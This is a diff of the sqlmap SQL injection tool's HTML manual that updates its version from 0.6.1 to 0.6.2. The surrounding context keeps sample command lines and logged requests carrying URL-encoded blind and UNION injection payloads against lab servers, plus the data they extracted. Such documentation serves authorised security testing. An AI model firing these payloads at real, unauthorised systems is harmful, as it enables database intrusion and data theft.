8
8
< H1 > sqlmap user's manual</ H1 >
9
9
10
10
< H2 > by
11
- < A HREF ="mailto:bernardo.damele@gmail.com "> Bernardo Damele A. G.</ A > </ H2 > version 0.6.1, 20th of October 2008
11
+ < A HREF ="mailto:bernardo.damele@gmail.com "> Bernardo Damele A. G.</ A > </ H2 > version 0.6.2, 2nd of November 2008
12
12
< HR >
13
13
< EM > This document is the user's manual to use
14
14
< A HREF ="http://sqlmap.sourceforge.net "> sqlmap</ A > .
@@ -295,19 +295,19 @@ <H2><A NAME="s3">3.</A> <A HREF="#toc3">Download and update</A></H2>
295
295
< P >
296
296
< UL >
297
297
< LI >
298
- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1 .tar.gz "> Source gzip compressed</ A > operating system independent.</ LI >
298
+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2 .tar.gz "> Source gzip compressed</ A > operating system independent.</ LI >
299
299
< LI >
300
- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1 .tar.bz2 "> Source bzip2 compressed</ A > operating system independent.</ LI >
300
+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2 .tar.bz2 "> Source bzip2 compressed</ A > operating system independent.</ LI >
301
301
< LI >
302
- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1 .zip "> Source zip compressed</ A > operating system independent.</ LI >
302
+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2 .zip "> Source zip compressed</ A > operating system independent.</ LI >
303
303
< LI >
304
- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.1 -1_all.deb "> DEB binary package</ A > architecture independent for Debian and any
304
+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.2 -1_all.deb "> DEB binary package</ A > architecture independent for Debian and any
305
305
other Debian derivated GNU/Linux distribution.</ LI >
306
306
< LI >
307
- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1 -1.noarch.rpm "> RPM binary package</ A > architecture independent for Fedora and any
307
+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2 -1.noarch.rpm "> RPM binary package</ A > architecture independent for Fedora and any
308
308
other operating system that can install RPM packages.</ LI >
309
309
< LI >
310
- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1_exe .zip "> Portable executable for Windows</ A > that < B > does not require the Python
310
+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2_exe .zip "> Portable executable for Windows</ A > that < B > does not require the Python
311
311
interpreter</ B > to be installed on the operating system.</ LI >
312
312
</ UL >
313
313
</ P >
@@ -334,7 +334,7 @@ <H2><A NAME="s5">5.</A> <A HREF="#toc5">Usage</A></H2>
334
334
< PRE >
335
335
$ python sqlmap.py -h
336
336
337
- sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
337
+ sqlmap/0.6.2 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
338
338
and Daniele Bellucci <daniele.bellucci@gmail.com>
339
339
340
340
Usage: sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file> }
@@ -535,7 +535,7 @@ <H3>Target URL and verbosity</H3>
535
535
[hh:mm:28] [TRAFFIC OUT] HTTP request:
536
536
GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
537
537
Host: 192.168.1.121:80
538
- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
538
+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
539
539
Connection: close
540
540
[...]
541
541
[hh:mm:29] [INFO] testing MySQL
@@ -544,7 +544,7 @@ <H3>Target URL and verbosity</H3>
544
544
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
545
545
CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1
546
546
Host: 192.168.1.121:80
547
- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
547
+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
548
548
Connection: close
549
549
[...]
550
550
</ PRE >
@@ -562,7 +562,7 @@ <H3>Target URL and verbosity</H3>
562
562
[hh:mm:32] [TRAFFIC OUT] HTTP request:
563
563
GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
564
564
Host: 192.168.1.121:80
565
- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
565
+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
566
566
Connection: close
567
567
568
568
[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200):
@@ -580,7 +580,7 @@ <H3>Target URL and verbosity</H3>
580
580
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
581
581
CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1
582
582
Host: 192.168.1.121:80
583
- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
583
+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
584
584
Connection: close
585
585
586
586
[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200):
@@ -607,7 +607,7 @@ <H3>Target URL and verbosity</H3>
607
607
[hh:mm:23] [TRAFFIC OUT] HTTP request:
608
608
GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
609
609
Host: 192.168.1.121:80
610
- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
610
+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
611
611
Connection: close
612
612
613
613
[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200):
@@ -632,7 +632,7 @@ <H3>Target URL and verbosity</H3>
632
632
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20
633
633
CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&cat=2 HTTP/1.1
634
634
Host: 192.168.1.121:80
635
- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
635
+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
636
636
Connection: close
637
637
638
638
[hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200):
@@ -749,7 +749,7 @@ <H3>Testable parameter(s)</H3>
749
749
< BLOCKQUOTE > < CODE >
750
750
< PRE >
751
751
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
752
- -p user-agent --user-agent "sqlmap/0.6.1 (http://sqlmap.sourceforge.net)"
752
+ -p user-agent --user-agent "sqlmap/0.6.2 (http://sqlmap.sourceforge.net)"
753
753
754
754
[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
755
755
[hh:mm:40] [INFO] testing connection to the target url
@@ -895,7 +895,7 @@ <H3>HTTP <CODE>Cookie</CODE> header</H3>
895
895
[hh:mm:39] [TRAFFIC OUT] HTTP request:
896
896
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
897
897
Host: 192.168.1.125:80
898
- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
898
+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
899
899
Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
900
900
Connection: close
901
901
@@ -907,7 +907,7 @@ <H3>HTTP <CODE>Cookie</CODE> header</H3>
907
907
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
908
908
Host: 192.168.1.125:80
909
909
Cookie: ASPSESSIONIDSABTRCAS=469
910
- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
910
+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
911
911
Connection: close
912
912
913
913
[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
@@ -955,7 +955,7 @@ <H3>HTTP <CODE>Referer</CODE> header</H3>
955
955
GET /sqlmap/pgsql/get_int.php?id=1&cat=2 HTTP/1.1
956
956
Host: 192.168.1.121:80
957
957
Referer: http://www.google.com
958
- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
958
+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
959
959
Connection: close
960
960
[...]
961
961
</ PRE >
@@ -972,7 +972,7 @@ <H3>HTTP <CODE>User-Agent</CODE> header</H3>
972
972
< P >
973
973
< BLOCKQUOTE > < CODE >
974
974
< PRE >
975
- sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
975
+ sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
976
976
</ PRE >
977
977
</ CODE > </ BLOCKQUOTE >
978
978
</ P >
@@ -1058,7 +1058,7 @@ <H3>HTTP <CODE>Basic</CODE> and <CODE>Digest</CODE> authentications</H3>
1058
1058
GET /sqlmap/mysql/basic/get_int.php?id=1&cat=2 HTTP/1.1
1059
1059
Host: 192.168.1.121:80
1060
1060
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
1061
- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
1061
+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
1062
1062
Connection: close
1063
1063
[...]
1064
1064
@@ -1075,7 +1075,7 @@ <H3>HTTP <CODE>Basic</CODE> and <CODE>Digest</CODE> authentications</H3>
1075
1075
uri="/sqlmap/mysql/digest/get_int.php?id=1&cat=2",
1076
1076
response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001,
1077
1077
cnonce="df1c0902c931b640"
1078
- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
1078
+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
1079
1079
Connection: close
1080
1080
[...]
1081
1081
</ PRE >
@@ -1200,7 +1200,7 @@ <H3>String match</H3>
1200
1200
[hh:mm:50] [TRAFFIC OUT] HTTP request:
1201
1201
GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
1202
1202
Host: 192.168.1.121:80
1203
- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
1203
+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
1204
1204
Connection: close
1205
1205
1206
1206
[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
@@ -1222,7 +1222,7 @@ <H3>String match</H3>
1222
1222
[hh:mm:51] [TRAFFIC OUT] HTTP request:
1223
1223
GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
1224
1224
Host: 192.168.1.121:80
1225
- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
1225
+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
1226
1226
Connection: close
1227
1227
1228
1228
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
@@ -1244,7 +1244,7 @@ <H3>String match</H3>
1244
1244
[hh:mm:51] [TRAFFIC OUT] HTTP request:
1245
1245
GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
1246
1246
Host: 192.168.1.121:80
1247
- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
1247
+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
1248
1248
Connection: close
1249
1249
1250
1250
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
@@ -1556,9 +1556,9 @@ <H3>Extensive database management system fingerprint</H3>
1556
1556
[hh:mm:03] [INFO] performed 13 queries in 0 seconds
1557
1557
[hh:mm:03] [INFO] query: @@VERSION
1558
1558
[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
1559
- Aug 6 2000 00:57:48
1560
- Copyright (c) 1988-2000 Microsoft Corporation
1561
- Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
1559
+ Aug 6 2000 00:57:48
1560
+ Copyright (c) 1988-2000 Microsoft Corporation
1561
+ Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
1562
1562
1563
1563
[hh:mm:08] [INFO] performed 1308 queries in 4 seconds
1564
1564
back-end DBMS: active fingerprint: Microsoft SQL Server 2000
@@ -2072,7 +2072,7 @@ <H3>Dump database tables entries</H3>
2072
2072
| 1 | luther | blissett |
2073
2073
| 2 | fluffy | bunny |
2074
2074
| 3 | wu | ming |
2075
- | 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2075
+ | 4 | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
2076
2076
| 5 | NULL | nameisnull |
2077
2077
+----+----------------------------------------------+-------------------+
2078
2078
</ PRE >
@@ -2126,7 +2126,7 @@ <H3>Dump database tables entries</H3>
2126
2126
| 1 | luther | blissett |
2127
2127
| 2 | fluffy | bunny |
2128
2128
| 3 | wu | ming |
2129
- | 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2129
+ | 4 | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
2130
2130
| 5 | | nameisnull |
2131
2131
+----+----------------------------------------------+-------------------+
2132
2132
@@ -2140,7 +2140,7 @@ <H3>Dump database tables entries</H3>
2140
2140
"1","luther","blissett"
2141
2141
"2","fluffy","bunny"
2142
2142
"3","wu","ming"
2143
- "4","sqlmap/0.6.1 (http://sqlmap.sourceforge.net)","user agent header"
2143
+ "4","sqlmap/0.6.2 (http://sqlmap.sourceforge.net)","user agent header"
2144
2144
"5","","nameisnull"
2145
2145
</ PRE >
2146
2146
</ CODE > </ BLOCKQUOTE >
@@ -2170,7 +2170,7 @@ <H3>Dump database tables entries</H3>
2170
2170
+----+----------------------------------------------+-------------------+
2171
2171
| 2 | fluffy | bunny |
2172
2172
| 3 | wu | ming |
2173
- | 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2173
+ | 4 | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
2174
2174
+----+----------------------------------------------+-------------------+
2175
2175
</ PRE >
2176
2176
</ CODE > </ BLOCKQUOTE >
@@ -2201,7 +2201,7 @@ <H3>Dump all databases tables entries</H3>
2201
2201
| 1 | luther | blissett |
2202
2202
| 2 | fluffy | bunny |
2203
2203
| 3 | wu | ming |
2204
- | 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2204
+ | 4 | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
2205
2205
| 5 | NULL | nameisnull |
2206
2206
+----+----------------------------------------------+-------------------+
2207
2207
@@ -2291,7 +2291,7 @@ <H3>Dump all databases tables entries</H3>
2291
2291
+----+----------------------------------------------+-------------------+
2292
2292
| id | name | surname |
2293
2293
+----+----------------------------------------------+-------------------+
2294
- | 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2294
+ | 4 | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
2295
2295
| 2 | fluffy | bunny |
2296
2296
| 1 | luther | blisset |
2297
2297
| 3 | wu | ming |
@@ -2824,9 +2824,9 @@ <H3>Use the UNION SELECT query SQL injection</H3>
2824
2824
banner:
2825
2825
---
2826
2826
Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
2827
- Aug 6 2000 00:57:48
2828
- Copyright (c) 1988-2000 Microsoft Corporation
2829
- Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
2827
+ Aug 6 2000 00:57:48
2828
+ Copyright (c) 1988-2000 Microsoft Corporation
2829
+ Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
2830
2830
---
2831
2831
</ PRE >
2832
2832
</ CODE > </ BLOCKQUOTE >
@@ -2854,7 +2854,7 @@ <H3>Use the UNION SELECT query SQL injection</H3>
2854
2854
%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
2855
2855
06043=6043&cat=2 HTTP/1.1
2856
2856
Host: 192.168.1.121:80
2857
- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
2857
+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
2858
2858
Connection: close
2859
2859
2860
2860
[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
@@ -2996,7 +2996,7 @@ <H3>Update sqlmap to the latest stable version</H3>
2996
2996
[hh:mm:55] [TRAFFIC OUT] HTTP request:
2997
2997
GET /doc/VERSION HTTP/1.1
2998
2998
Host: sqlmap.sourceforge.net
2999
- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
2999
+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
3000
3000
Connection: close
3001
3001
3002
3002
[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
@@ -3015,7 +3015,7 @@ <H3>Update sqlmap to the latest stable version</H3>
3015
3015
[hh:mm:56] [TRAFFIC OUT] HTTP request:
3016
3016
GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
3017
3017
Host: www.sqlsecurity.com
3018
- User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
3018
+ User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
3019
3019
Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
3020
3020
language=en-US
3021
3021
Connection: close
0 commit comments